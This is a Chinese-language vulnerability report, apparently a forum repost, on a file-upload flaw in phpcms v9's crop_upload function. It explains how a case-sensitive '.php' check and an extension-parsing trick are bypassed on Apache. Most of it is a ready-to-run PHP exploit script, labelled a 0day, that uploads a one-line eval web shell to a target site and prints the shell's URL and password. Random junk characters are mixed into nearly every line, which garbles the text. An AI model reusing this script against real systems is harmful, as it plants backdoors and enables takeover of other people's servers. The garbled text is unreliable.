漏洞类型: 文件上传导致任意代码执行+ S4 D7 s9 g. T( [$ n
8 W K! h' L5 {' N# l9 z$ t" J2 S
简要描述:
4 p& [5 G6 l' Q- _ f2 Q; n
, H# @ d( w, V: v) p3 ]$ }phpcms v9 getshell (apache)
8 c1 R' v3 d) d0 ?% E6 L3 v0 \详细说明:
! o/ X" ^. V3 X6 w
1 Z" M' T8 l# a漏洞文件:phpcms\modules\attachment\attachments.php' Y2 ` q E' D3 l7 u9 X
# h) Z$ b5 T! B4 G/ W' \
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } ! @# N. N$ n+ i z
后缀检测:phpcms\modules\attachment\functions\global.func.php
# q$ @$ q5 a7 g) F0 [& ?! d v0 q) R. M' N/ H
# {' o3 ~0 o ?3 b( B
$ V, T- I( ^& |* R; \2 Kfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
% K3 T: k6 r# u! P# @; E# f) Z: d! |
关键函数:
2 L e/ ]" F! W
& Q$ F: Y) h2 h; I : J' h( I8 j v
* ~4 c7 W$ v; _* p8 Y3 ofunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
: x+ Q, y* U* Z
% I! h& a: _" u3 [; V5 E* V Fileext函数是对文件后缀名的提取。3 ^; J. [. t9 O- S' c
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php w1 v: V% P" q( z/ Z, {0 B
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。# @% P- e1 a% h* g
我们回到public function crop_upload() 函数中
4 k5 O8 p' H" H0 X9 [; e4 yif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();; @0 i$ W" l- h% y
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数2 Q8 K& n" Q) y( M5 X. V- ` @7 t
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。! C4 C4 v a* V9 f7 `$ M! V
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。* `) F' [6 `) w2 e. p' [- Y
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。9 w' X/ L/ T. z. b6 A5 L& V5 |
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
8 c5 [$ y% V, Y: N0 w4 K8 k+ M. C漏洞证明:2 K2 A& A% E; Y
' k+ r! D }, `" L
exp:
/ W( M9 V/ M z" e! \: P+ f- b& X4 ^- P6 r/ o1 X
<?php: d0 q& @% K3 q+ d1 E [
error_reporting(E_ERROR);( L8 a8 g0 Y, W0 t! b
set_time_limit(0);6 Z3 v+ `: @& t1 H. s6 o
$pass="ln";1 ]. Y& x. x; u- a1 A
print_r('
4 j2 k5 m# O$ Q! @+---------------------------------------------------------------------------+
; z1 C( U) Z1 dPHPCms V9 GETSHELL 0DAY
* r5 q7 y1 X9 K1 |, I$ V1 Mcode by L.N.: L ~% m6 [( y$ B( b
0 f; Q# A5 i# W& N9 X ?/ r* x
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net* O+ f, Z" B1 S& F7 k; _5 o
+---------------------------------------------------------------------------+2 G1 X& `7 ^/ Q! K. u' S" x5 C: T
');
@5 O( M: Y7 l5 f+ ]if ($argc < 2) {6 h$ ^. i8 W0 x. U1 X2 d, R
print_r('
& d) W: R' ]+ A! o" \+---------------------------------------------------------------------------+
6 t' {! j# m& v$ z) kUsage: php '.$argv[0].' url path
$ t! v3 S" a+ J$ P4 u/ e: U- j5 z7 [. _3 g5 @' W! \$ ^8 F
Example:
) v' G1 x/ p F; J4 Q: W& W! `1.php '.$argv[0].' lanu.sinaapp.com
( d+ J& d- e- a! `+ ~2.php '.$argv[0].' lanu.sinaapp.com /phpcms
2 o: g. T) O- `' L+---------------------------------------------------------------------------+
- D1 ^1 x& e0 v');
! r# }* d3 X' p5 ~* A: h9 texit;" Q+ o) B9 Q- L; o- O
}6 I7 B$ ]" K$ t4 R8 G/ S' Z
1 s& y& i( t7 p: W* _" N# w' P, y3 B
$url = $argv[1];; k. I. e& _ ^4 f+ r
$path = $argv[2];
2 C( K% V; j7 c0 A2 N, }1 ?+ W, U$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';3 p9 P) V: L) ]. Y# d1 b0 @1 W
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';; s8 ?# q9 `) b# ]- l, O
if($ret=Create_dir($url,$path))4 e% o2 D, {+ x
{& ]* t8 A& _' U% e6 K
//echo $ret;% Y: ]0 j8 P7 f9 m! x
$pattern = "|Server:[^,]+?|U";; R. U7 R% ?. c7 a+ k6 @) A4 w6 `
preg_match_all($pattern, $ret, $matches);6 x! D P8 c3 I }% w- G
if($matches[0][0])9 ]+ j( F9 C/ K% K3 V
{
) }2 J- B7 G- Zif(strpos($matches[0][0],'Apache') == false)
# X& `: G. w. [" y( N( D: H+ s% K{
% x y, K% `/ c' ~$ G$ becho "\n亲!此网站不是apache的网站。\n";exit;3 }- e' u# U. y3 o. A1 p
} j5 ^6 D7 n, y: x& o
}
3 S: Z" Q4 F% ~ r; N$ret = GetShell($url,$phpshell,$path,$file);5 ~. t7 s" U( P
$pattern = "|http:\/\/[^,]+?\.,?|U";$ i& s$ P) O$ A9 k9 l Z7 m
preg_match_all($pattern, $ret, $matches);
3 _1 r! X. G% s( k3 s6 G9 c) Iif($matches[0][0])( v( w- u) R$ |" `; R' x
{- } C3 G4 @6 Q! s8 x
echo "\n".'密码为: '.$pass."\n";
; R; M/ z8 e: I5 }1 i0 T- N/ P) secho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;: j' V$ ]. q% K D( I7 }
}
7 C; j i0 X. Q5 X1 a) celse
, z* l) D7 y* {; P6 T* I E( e{
$ Z; N; I. a/ h, @8 L# L$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
1 n% a1 U* E. [1 D2 T7 Spreg_match_all($pattern, $ret, $matches);
+ V3 P- A0 h8 y2 Sif($matches[0][0])
" e$ ?) M6 w, h7 j{1 J& {+ g; M Q2 @# [& p
echo "\n".'密码为: '.$pass."\n";/ _" u+ x/ y" `; I' f. Y7 i& }. v4 p
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
6 W% S! ^/ o8 { d1 R# p0 Y8 x}
" c* L+ m+ \& c% H8 D) melse
& F, }( ]( a7 p9 m3 Q{
$ o: D7 N$ \" U, w3 Yecho "\r\n没得到!\n";exit;1 M( U' {8 j( `. c
}
9 @ v# A+ P7 m* F) L( _- ?}
2 J# x! G3 g' X4 i}
% |/ D+ y' K; n. _ g- Q% s' S: ?! h/ c7 H5 c8 F! `
function GetShell($url,$shell,$path,$js)
$ \# D9 d l' L& c* I{2 Y# Y0 Z" G2 o( P1 O: C Z* k
$content =$shell;
3 P( V% u: ]7 {- u9 b$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
2 z1 O8 o/ ~4 c5 K$data .= "Host: ".$url."\r\n";
+ K1 f" n; _4 R& f+ _$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";/ D+ y9 s3 H7 e1 j
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";8 k# F! ?& F5 ?
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
& j0 ^9 M% }9 H4 j1 G$data .= "Connection: close\r\n";# L/ f- F& U7 J! P6 V% A
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
, K( Q; t7 F3 s% [3 A0 f$data .= $content."\r\n";
' U1 F {9 T7 J* x; n: t2 ^( L0 I$ock=fsockopen($url,80);! U" b X% J2 p4 J0 N2 J$ Q
if (!$ock)
3 Q, v. b& d4 d{
8 l' H9 n4 V$ E% F Kecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;/ e+ F7 K. w6 J8 Z+ Q
}
! j- N- P) {! T/ `# w/ }" [ nelse
# l6 a% b x# P{
/ s! X) g9 U. Tfwrite($ock,$data);8 U( }4 f1 D: A& k9 a
$resp = '';
7 d6 ^. ]5 `+ U2 P5 u4 e3 Ewhile (!feof($ock))
! p6 r5 G( R0 S{* r) m1 @4 k1 b% E p0 g* f' A
$resp.=fread($ock, 1024);: F% E) M4 }/ P3 f9 `' k3 f( ]/ C9 u
}
) q+ \9 b3 |8 Z( A% H- h, q$ Q/ Yreturn $resp;
0 S- C, _ B0 j( |' s}% _+ `7 u$ n: l& e7 A1 S
}5 Y0 A3 C/ o) H9 Y# ?( A2 \
' t# i/ A2 h9 M. qfunction Create_dir($url,$path='')( }% i0 }% k0 h
{6 G5 S' y7 E* m3 O4 |3 n
$content ='I love you';$ x5 {0 m8 w+ q9 Q$ ^$ d
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
; {% A j3 v$ p% g' i1 f& I$data .= "Host: ".$url."\r\n";: s) u1 h. `( o z/ q# l! M
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";6 [& R, B- K) q
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
0 w( N8 d9 A# n& M& R% J8 R, d$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";* h, e9 R5 e9 q0 O3 o4 ]
$data .= "Connection: close\r\n";, ` w+ k5 A6 t. E: r
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
8 j5 t' I& P! o8 L$data .= $content."\r\n";
' n' W' A3 m% x, A$ock=fsockopen($url,80);& F( E. h9 j. [4 m
if (!$ock): U' N; u3 t/ O* e+ o% x
{/ d9 l. d% U1 R" g# P
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;4 U' p5 X' \! q1 x" r8 s
}. a* |1 `9 D3 T1 N
fwrite($ock,$data);. U6 B; H' [, t9 c) c P
$resp = '';5 D8 S7 ?+ d0 W1 r4 C
while (!feof($ock))9 M- L7 H! v, A( q
{
' A& o. p4 ~$ b0 Q1 g: G. e$resp.=fread($ock, 1024);
) S6 y& s6 r. x B( A8 H' I}
) Q, M3 R( n) `7 q8 Yreturn $resp;
% N- ?9 G! ]! ]3 l; a1 z3 ?: S9 X}
. u1 ]: c& C* Z |& P?> + X [( u! m# r
6 L8 J3 a4 N- y9 a/ x1 v0 L: j修复方案:
8 M; @/ a8 ?$ v- p
; Y6 F7 H& `2 C v过滤过滤再过滤0 q- t! L x; _8 Z
3 S* E! X: P3 R |